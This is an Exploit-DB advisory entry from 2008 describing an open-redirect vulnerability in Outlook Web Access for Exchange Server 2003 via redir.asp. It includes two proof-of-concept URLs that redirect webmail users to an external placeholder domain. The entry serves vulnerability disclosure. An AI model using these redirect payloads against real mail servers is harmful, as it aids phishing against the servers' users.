Microsoft Outlook Web Access for Exchange Server 2003 - 'redir.asp' Open Redirection

EDB-ID:

32489




Platform:

Windows

Date:

2008-10-15


source: https://www.securityfocus.com/bid/31765/info

Outlook Web Access is prone to a remote URI-redirection vulnerability because the application fails to properly sanitize user-supplied input.

A successful exploit may aid in phishing attacks.

OWA 6.5 SP 2 is vulnerable; other versions may also be affected. 

https://webmail.example.com/exchweb/bin/redir.asp?URL=http://www.example2.com

https://webmail.example.com/CookieAuth.dll?GetLogon?url=%2Fexchweb%2Fbin%2Fredir.asp%3FURL%3Dhttp%3A%2F%2Fwww.example2.com&reason=0